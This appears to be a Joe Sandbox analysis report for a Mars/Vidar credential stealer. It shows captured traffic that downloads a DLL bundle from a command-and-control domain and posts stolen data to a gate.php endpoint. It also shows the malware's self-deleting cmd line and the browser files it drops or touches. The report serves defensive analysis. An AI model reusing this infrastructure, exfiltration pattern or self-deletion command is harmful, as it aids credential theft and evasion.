Dec 29, 2023 12:06:51.956770897 CET	124	OUT	GET /request HTTP/1.1 Host: couriercare.in Cache-Control: no-cache Cookie: PHPSESSID=636d770934fc71f82f88d3ae900743ed
Dec 29, 2023 12:06:52.089704037 CET	1286	IN	HTTP/1.1 200 OK Date: Fri, 29 Dec 2023 11:06:52 GMT Server: Apache Last-Modified: Mon, 21 Feb 2022 23:34:00 GMT Accept-Ranges: bytes Content-Length: 1565849 Data Raw: 50 4b 03 04 14 00 00 00 08 00 0d 7a 3e 54 c5 85 06 76 05 31 01 00 d0 35 02 00 0c 00 00 00 73 6f 66 74 6f 6b 6e 33 2e 64 6c 6c ec 5b 7d 78 14 45 9a ef 9e 99 84 49 98 64 1a 48 30 3c 04 09 6c f0 b2 8a 18 18 58 12 09 18 20 9d 8d 42 60 d8 81 99 04 c8 07 5f 3a 8e 01 42 9c c6 9c 4f 50 d8 c9 28 b3 cd 78 78 8b 0a b7 ec 0a 0a 1e 77 b2 ae ab a0 39 37 a7 e3 05 49 60 05 f9 d2 45 c5 5d 5c 61 af 71 b2 4b 74 73 31 ba 39 fa de aa ea ee 99 ae ee e4 f4 b9 7f 8f e7 c1 aa a9 fe d5 fb fe de 8f 7a ab aa 1b 2b 97 ef 64 ac 0c c3 d8 e0 af 2c 33 4c 1b 43 fe 94 32 df e2 0f cb 30 99 e3 df c8 64 8e a4 9d 9a d0 c6 2e 3c 35 61 a9 ff fe 07 f3 1a 9b 36 de d7 b4 6a 7d de 9a 55 1b 36 6c 0c e6 ad 5e 97 d7 24 6c c8 bb 7f 43 5e d9 62 4f de fa 8d 6b d7 4d c9 c8 48 cf 57 44 3c d7 90 9f fb a7 8c 7b 16 ab 7f af 0b 1f 2e fe 1c da bb 36 2e 58 74 05 b7 77 2b ed e2 45 dd b8 5d b4 e8 cf d0 1e 5b 4f 9e df be 61 c1 a2 ab 78 ee 82 c5 8f e0 df 8b 16 7d 89 db 7b 16 fd 27 6e 8f 2e 26 6d 05 fe fd a3 fb d7 f8 91 1e d5 04 37 cf 30 0b d9 14 e6 ad d5 f1 15 ea d8 65 66 e2 84 e1 6c e6 70 e6 35 30 70 35 19 7b a6 1d fa 1c 74 ce b0 e8 27 87 fb 16 86 49 65 f0 6f ad 65 dc 16 ec cc b4 5f 5b e0 71 29 99 c4 31 4c a2 25 0d 67 b5 30 87 a0 6d 83 b6 0b 0d 16 5a 98 66 6b 92 6f 73 2c cc 99 71 28 10 16 a6 3e 13 d4 de 60 99 a5 cc e0 7f 0a 64 56 1f 33 e0 d9 60 19 1c 3f 25 b8 ae 39 08 ed 6f 8f 10 8a d8 56 9b 1e 93 c7 30 f5 53 9a d6 ae 0a ae 62 98 f4 32 c5 f6 72 68 df 60 93 61 48 6f e9 14 02 63 98 61 68 a2 45 91 65 a1 71 b1 29 4d 0f 36 ad 61 18 62 6b a1 82 b3 19 70 a5 53 9a d6 35 6c 5c c3 60 db 91 0f 30 47 bb 01 37 8f f9 ff 3f ff a7 3f cb c4 ee fd 2b 27 5a b8 70 4c 18 29 cd cc 62 98 70 2c 68 73 c5 6a 3a f0 68 8d bc ef 65 56 07 1a 25 8d 24 a0 94 50 97 9c 40 b5 eb 51 99 52 f7 28 84 12 1c 2a 00 a5 59 4d 87 4e d0 89 51 26 82 da 58 8a d3 f3 a3 0c 9c ea 9b 75 72 b6 99 c9 69 65 28 42 2b 08 a1 34 55 46 0b c5 66 96 99 94 ad 20 25 21 22 87 88 18 8e 47 e4 7d 05 40 b5 23 41 f4 9b 91 84 28 08 e8 50 10 3b 2c 14 89 0f 46 ea bd b2 d3 82 bc 12 9a 84 7e 32 fe 77 cf b1 9c 9c 5d 02 ff ad 16 33 aa d0 9c 13 41 07 c0 ed 4b e4 ec 95 68 34 34 09 8d 32 5e df 9b 31 f8 f9 56 3d fc 38 78 f0 60 5d 6d 87 ce 63 9b 46 1a a3 b8 d2 42 45 71 e1 48 13 73 fd 34 df 5b 28 be f5 16 43 14 ad 66 82 d6 d2 82 3e 19 a1 17 e4 b6 1a 04 bd 31 c2 44 50 85 95 e2 bd cb 0c 55 45 a3 36 98 a1 96 5a a9 d4 aa 18 61 4c 2d bf 4e ce 2d 26 72 ea 83 3a cb ac 23 f4 79 d5 40 99 f5 19 67 22 a2 51 07 89 99 41 26 eb 20 3f 37 83 14 e8 20 0f 9b 41 38 1d c4 67 02 d9 77 88 4e 8d a9 66 82 b2 74 90 4c 33 48 8e 0e 12 77 9a e8 ba 40 17 93 77 cc 50 17 69 d4 b3 66 a8 4b 34 ea ef cd 50 a5 74 6a 78 cc 50 25 34 ea 76 33 d4 4a 1a 35 cc 0c d5 45 f3 fa 34 d3 04 75 86 ae 73 bf c9 34 ae da 02 7a 19 3d 9d a9 5f 46 d3 8d eb f1 41 33 6d 03 16 4a 5b a5 89 b6 c9 b4 b6 02 4a 5b 99 51 5b 8a 99 b6 52 5a d0 1f 32 f4 82 8a 8c 82 da 33 4c 04 b5 d1 a9 f9 b4 19 ea 08 8d 6a 34 43 1d a6 51 f7 98 a1 5e a6 a9 e7 53 d4 63 0c 45 3d 53 62 29 48 bb 11 f2 7b 87 1e d2 45 43 20 fe 0e 63 44 de 4d da 7e 46 48 7b 08 c2 ea 8a a9 fb 4b 1b bd c9 6d a6 f4 1c 33 52 f1 50 90 dd 46 48 21 05 d9 65 84 64 50 90 7d 46 83 3e 1f 6e 34 e8 00 43 af ff e1 26 41 d8 a1 33 fb b9 e1 b4 d9 3b 69 b3 1f 1d ae 67 b3 d7 48 78 25 05 69 b0 18 20 c5 14 a4 d1 98 a5 a3 cd e8 66 d1 0b be 27 dd 04 95 43 a3 4e 9a a1 7a e9 2c 3d 60 86 ca a5 8b c7 23 e9 06 5f d7 57 e8 e4 ac 34 91 53 bf 54 6f 7f ba 7e 27 5b 48 19 3f c6 4c 84 Data Ascii: PKz>Tv15softokn3.dll[}xEIdH0<lX B`_:BOP(xxw97I`E]\aqKts19z+d,3LC20d.<5a6j}U6l^$lC^bOkMHWD<{.6.Xtw+E][Oax}{'n.&m70eflp50p5{t'Ieoe_[q)1L%g0mZfkos,q(>`dV3`?%9oV0Sb2rh`aHocahEeq)M6abkpS5l\`0G7??+'ZpL)bp,hsj:heV%$P@QR(*YMNQ&Xurie(B+4UFf %!"G}@#A(P;,F~2w]3AKh442^1V=8x`]mcFBEqHs4[(Cf>1DPUE6ZaL-N-&r:#y@g"QA& ?7 A8gwNftL3Hw@wPifK4PtjxP%4v3J5E4us4z=_FA3mJ[J[Q[RZ23Lj4CQ^ScE=Sb)H{EC cDM~FH{Km3RPFH!edP}F>n4C&A3;igHx%i f'CNz,=`#_W4STo~'[H?L
Dec 29, 2023 12:06:52.089822054 CET	1286	IN	Data Raw: 5b c7 a3 2f cd c8 a3 48 27 e4 42 9a 89 90 32 1d 8f 5f a7 e9 79 94 50 3c 9e 34 13 51 aa 83 6c 30 81 ec 73 b0 89 b4 1a 29 2d 48 33 1c d7 6c 6c f2 69 ef d6 34 dd 69 8f 43 a7 3d 9d 92 34 33 25 76 3a cc 9f d9 4d 50 d3 e9 9d e4 df cd 50 93 69 d4 33 66 Data Ascii: [/H'B2_yP<4Ql0s)-H3lli4iC=43%v:MPPi3f(;dQP5OafIJ>4CeWPy4jQ88w1im:9ffK3Tze[j,-43QptDn5jJ_)#qcw8_B).t
Dec 29, 2023 12:06:52.089837074 CET	1286	IN	Data Raw: 1c f7 f9 2f 2a 4c 47 5b 95 31 60 7f 45 19 b3 28 ec 01 e8 46 cf b0 18 2f 2a 1a 1e b0 44 3e 8a e4 11 73 5a 50 66 f4 bf af cf 8c d0 b1 06 f2 04 9b 53 90 6c 4e cb 3f 25 9b b3 42 aa 8b 0e 11 c9 1c 58 a2 da 62 24 31 b5 fb 1b 2f 0c 16 50 46 57 08 46 aa Data Ascii: /LG[1`E(F/D>sZPfSlN?%BXb$1/PFWF&C@w2Q0,MK{cjJy,QTIdRD?WMoDY@3bqVVNxp>!.Z@3_(4>yZ,&JBIM0ytZ#=.
Dec 29, 2023 12:06:52.089848995 CET	1286	IN	Data Raw: 52 95 7c 18 89 94 3f 54 04 1a 26 b5 60 76 3d d5 66 91 ed 19 24 b2 c8 41 7d 5b 35 45 de 00 43 d6 a8 74 29 25 91 ef c3 da ce c0 cc f8 96 6d 73 96 cd f7 9c 0e 4e df 36 c7 8b da c9 d2 64 f2 c5 61 6d 68 8e d5 17 bc 2d 34 c7 16 bc 45 b7 e9 dc 5f 44 96 Data Ascii: R\|?T&`v=f$A}[5ECt)%msN6damh-4E_Dn\|s:e~h%I/YG**9^qUrjLb=OQ'[C[,Ae&D0X`n2(WNNzsnesQkA.%uuIZGu
Dec 29, 2023 12:06:52.089962006 CET	1286	IN	Data Raw: 7a 95 44 e0 5b 7d 38 0d 22 42 0c a2 4d 82 7e 61 1a 6e 2e 91 84 b8 42 52 a0 9b c4 be 77 bd 12 ed c2 20 89 f6 b1 80 0d 45 fb 1c 93 14 ed 3f 01 bf 62 be cd d9 7a 11 77 da 9d ad ef 41 67 02 bf 0f dc ee 3f 8b ca 9a e2 62 9f 34 ff 1c de 26 dc d2 4b 29 Data Ascii: zD[}8"BM~an.BRw E?bzwAg?b4&K)]X(e(2k2ot>z\| U)L~82d8?e\-WVo]'&:O~`}#5CD%PTT*{{pVWVUvUNun~::h
Dec 29, 2023 12:06:52.089975119 CET	1286	IN	Data Raw: c1 b8 cb cb 94 1b 75 33 aa 8f 02 64 46 75 1b 14 25 35 a1 69 bc 97 dd 0c 2f 24 08 99 66 00 ed 92 9b 92 31 71 60 97 c9 21 90 85 53 86 79 93 4f e9 67 b5 37 72 4b aa 5d df 33 a4 ba 02 07 f2 c8 7e c3 f7 ec a8 ce f4 f9 d9 8f 90 48 27 fd cc 4c c5 ff 5f Data Ascii: u3dFu%5i/$f1q`!SyOg7rK]3~H'L_9A)4KnXgF_V1A"ut!&b@,V7@@~4TMo3R5e5-)hh4CQ94THv&@z3PBV
Dec 29, 2023 12:06:52.089986086 CET	1286	IN	Data Raw: 17 16 d8 e3 4b b5 91 44 68 c2 7e b9 94 a6 e0 60 b3 b2 63 71 c6 ee 1e ed d2 f6 b5 6f af cd d8 d7 6c 68 52 e7 0f 84 73 9b 9d aa 5c 55 0a f9 94 8f e4 15 53 e4 5b cb e5 15 8b e4 5b 97 84 cd 0b e5 60 89 94 6c 5b 77 ab b5 f3 0b 82 f5 e8 c8 42 04 78 3d Data Ascii: KDh~`cqolhRs\US[[`l[wBx=ix\|DtpF=UaDjQyT0($ cp$XSkSEl*t-,0)_b+~E?%'A9/gTuJbS.Bd.TII,
Dec 29, 2023 12:06:52.090003014 CET	1286	IN	Data Raw: 3d bf 10 6d b7 0f 5b 9f 7f 47 76 1f 32 f6 c8 ee bd 0d b4 40 e9 7b 2f f2 95 4d 83 88 d7 78 c6 0f 10 81 79 ae b3 5c 69 7c 1f d9 35 00 f2 e4 b7 9d fb 61 65 03 fe d5 61 d9 24 7e 4c 4e de 0e 4f c6 6e af 8a a7 a0 bd ac 9e 3a c5 38 1b 35 03 aa b1 be 59 Data Ascii: =m[Gv2@{/Mxy\i\|5aea$~LNOn:85Yo7!G9R1{)*s-P[,=0\\<mXYkF.fkn0^~\|"/)wOEDB2o
Dec 29, 2023 12:06:52.090017080 CET	1286	IN	Data Raw: 53 40 8a 5f 78 15 71 e2 64 f0 e8 53 ce 3d ae ba 02 e8 38 40 dc 24 cf 5a b2 d2 2c ed c9 81 df c4 24 2f 9b 6d d3 d7 d0 99 7e 76 f2 4a 80 31 85 f6 99 b5 24 c7 cf 7e 6f 85 57 60 6a a5 d5 95 82 88 df cc 8b 9b 7b aa 97 19 8b 4c 42 5a 3e 6a 68 d0 c1 35 Data Ascii: S@_xqdS=8@$Z,$/m~vJ1$~oW`j{LBZ>jh5JwcDA"^yvzNQb`\|#'l~)5^uaeeW9)I)3/XRn9<vS(I(W#VGrZY"EI7=]7zW`,yS
Dec 29, 2023 12:06:52.090029955 CET	1286	IN	Data Raw: a7 d7 07 85 d4 21 a2 39 9c d3 18 ff 9c b4 2f d3 00 fb 8f b9 2d 39 b0 e3 5e 5f f8 5d 0a 3e f8 e0 f1 f2 51 1e ab 2d cc 09 06 23 a6 7e d5 33 3f 36 a7 ce 07 fb 40 bf b5 db 50 a9 34 2f 3a 0f 43 61 74 ff c3 31 ac 37 12 57 e6 d8 14 8f 79 e2 3b 8a 69 13 Data Ascii: !9/-9^_]>Q-#~3?6@P4/:Cat17Wy;ix=7AeNw&Hc\H+/gv_^lf=nI(&]o\|^&x7g}PBy8dl<)>6\|T-=$pH5a#DkSjSIjLd&m1)7m
Dec 29, 2023 12:06:52.221062899 CET	1286	IN	Data Raw: be c0 45 f4 f8 c7 74 74 c6 06 3f 80 1f a5 97 b5 be 47 a0 23 cc a2 8e 6f 25 3d 6a bf f3 98 ab a5 48 3c c7 d5 32 25 e2 08 e7 f8 d8 cd 7a 87 86 92 4c 10 97 f5 68 22 3e 36 af 17 85 76 d4 a5 2c 18 d0 f4 0d 1d 37 83 48 26 f5 98 61 9f 1d 4b 96 30 00 ab Data Ascii: Ett?G#o%=jH<2%zLh">6v,7H&aK08UmN>;?#M3@]PYI1RU gcn4C1ksS.:i@vn>/zf+39A3A3O&.E5y\|8FVe>T0
Dec 29, 2023 12:06:54.540951014 CET	241	OUT	POST /2/gate.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----I5XL6XLN7QIM7Q1D Host: couriercare.in Content-Length: 96067 Connection: Keep-Alive Cache-Control: no-cache Cookie: PHPSESSID=636d770934fc71f82f88d3ae900743ed
Dec 29, 2023 12:06:55.566090107 CET	296	IN	HTTP/1.1 200 OK Date: Fri, 29 Dec 2023 11:06:54 GMT Server: Apache Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Length: 0 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	12:06:49
Start date:	29/12/2023
Path:	C:\Users\user\Desktop\DZ1x3hqhbe.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\Desktop\DZ1x3hqhbe.exe
Imagebase:	0x400000
File size:	163'328 bytes
MD5 hash:	A3E2FBE15176A56AC45F26368B80B3FC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000002.1663451116.000000000043C000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000000.1615604617.000000000043C000.00000080.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.1663381742.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_MarsStealer, Description: Yara detected Mars stealer, Source: 00000000.00000002.1663381742.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: Windows_Trojan_ArkeiStealer_84c7086a, Description: unknown, Source: 00000000.00000002.1663381742.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Author: unknown Rule: JoeSecurity_Vidar_1, Description: Yara detected Vidar stealer, Source: 00000000.00000002.1663570628.00000000006FE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.1663570628.00000000006FE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Vidar_114258d5, Description: unknown, Source: 00000000.00000002.1663570628.00000000006FE000.00000004.00000020.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	12:06:54
Start date:	29/12/2023
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\DZ1x3hqhbe.exe" & exit
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:06:54
Start date:	29/12/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:06:54
Start date:	29/12/2023
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 5
Imagebase:	0x370000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report DZ1x3hqhbe.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Mars Stealer

Yara Signatures

Initial Sample

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

C:\ProgramData\nss3.dll

C:\ProgramData\softokn3.dll

C:\ProgramData\vcruntime140.dll

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

C:\Users\user\Desktop\0R1N7QQI

C:\Users\user\Desktop\26XT0RQ1

C:\Users\user\Desktop\68QI5XT0

C:\Users\user\Desktop\7YC2NG4E

C:\Users\user\Desktop\GVA1VKFU

C:\Users\user\Desktop\KFCJW4E3

Windows Analysis Report
DZ1x3hqhbe.exe